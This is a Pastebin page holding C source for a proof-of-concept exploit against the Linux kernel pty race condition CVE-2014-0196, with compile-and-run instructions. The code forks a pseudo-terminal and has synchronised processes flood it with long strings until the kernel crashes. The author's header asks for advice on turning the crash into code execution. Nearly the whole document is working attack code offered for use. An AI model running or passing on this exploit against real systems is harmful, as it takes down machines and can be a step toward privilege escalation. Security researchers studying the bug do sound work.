Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* CVE-2014-0196 DOS PoC [Written May 5th, 2014]
- * by DigitalCold <digitalcold0@gmail.com>
- *
- * Note: this crashes my i686 Gentoo system running 3.12.14
- * and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain
- * code exec would be greatly appreciated.
- *
- * Usage: gcc -O2 -o pty pty.c -lutil && ./pty
- *
- * CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html
- * Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355
- * How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <errno.h>
- #include <time.h>
- #include <sys/mman.h>
- #include <pty.h>
- #include <termios.h>
- #include <fcntl.h>
- // used to sync the two writer processes
- volatile static int * Sync = NULL;
- int main() {
- int master, res;
- struct termios tp;
- Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE,
- MAP_SHARED | MAP_ANONYMOUS, -1, 0);
- if(Sync == MAP_FAILED)
- {
- perror("Sync mmap");
- exit(1);
- }
- // hold
- *Sync = 0;
- // create a child with a new PTY connection
- pid_t child = forkpty(&master, NULL, NULL, NULL);
- if(child == -1) {
- perror("forkpty");
- exit(1);
- }
- // parent
- else if(child > 0) {
- printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child);
- printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child);
- printf("[+] Starting bombing run...\n");
- int flags = fcntl(master, F_GETFL, 0);
- fcntl(master, F_SETFL, flags | O_NONBLOCK);
- // synchronizer process
- int doSync = fork();
- if(!doSync) { // child
- // sync the two processes (CLK)
- while(1) {
- sleep(1);
- *Sync = 1; // release
- sleep(1);
- *Sync = 0;
- }
- }
- else if(doSync < 0)
- {
- perror("sync fork");
- exit(1);
- }
- // used for printing status
- int cnt = 0;
- char readBuf[256<<3];
- while(1) {
- while(!*Sync) usleep(1000);
- if(write(master, readBuf, sizeof readBuf) < 0) {
- if(errno != EAGAIN) {
- perror("master write");
- exit(1);
- }
- }
- // shovel the input
- if(read(master, readBuf, sizeof readBuf) < 0) {
- if(errno != EAGAIN) {
- perror("master read");
- exit(1);
- }
- }
- if(cnt >= 200000) {
- fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n");
- exit(1);
- }
- else if(cnt++ % 200 == 0)
- fprintf(stderr, ".");
- }
- }
- else { // child
- char discard[1024];
- if(tcgetattr(0, &tp) == -1)
- perror("tcgetattr");
- // enable raw mode with ECHO to trigger the bug
- cfmakeraw(&tp);
- tp.c_lflag |= ECHO;
- if(tcsetattr(0, TCSAFLUSH, &tp) == -1)
- perror("tcsetattr");
- // make stdin and stdout non-blocking
- int flags = fcntl(0, F_GETFL, 0);
- fcntl(0, F_SETFL, flags | O_NONBLOCK);
- flags = fcntl(1, F_GETFL, 0);
- fcntl(1, F_SETFL, flags | O_NONBLOCK);
- // construct a lengthy crash string
- size_t badStrSz = 256<<2;
- char * badStr = malloc(badStrSz);
- int i;
- for(i = 0; i < badStrSz; i++)
- badStr[i] = 'A';
- // slave loop
- while(1) {
- while(!*Sync) usleep(1000);
- if(write(1, badStr, badStrSz) < 0)
- if(errno != EAGAIN)
- exit(1);
- // eat the incoming data
- if(read(0, discard, sizeof discard) < 0)
- if(errno != EAGAIN)
- exit(1);
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement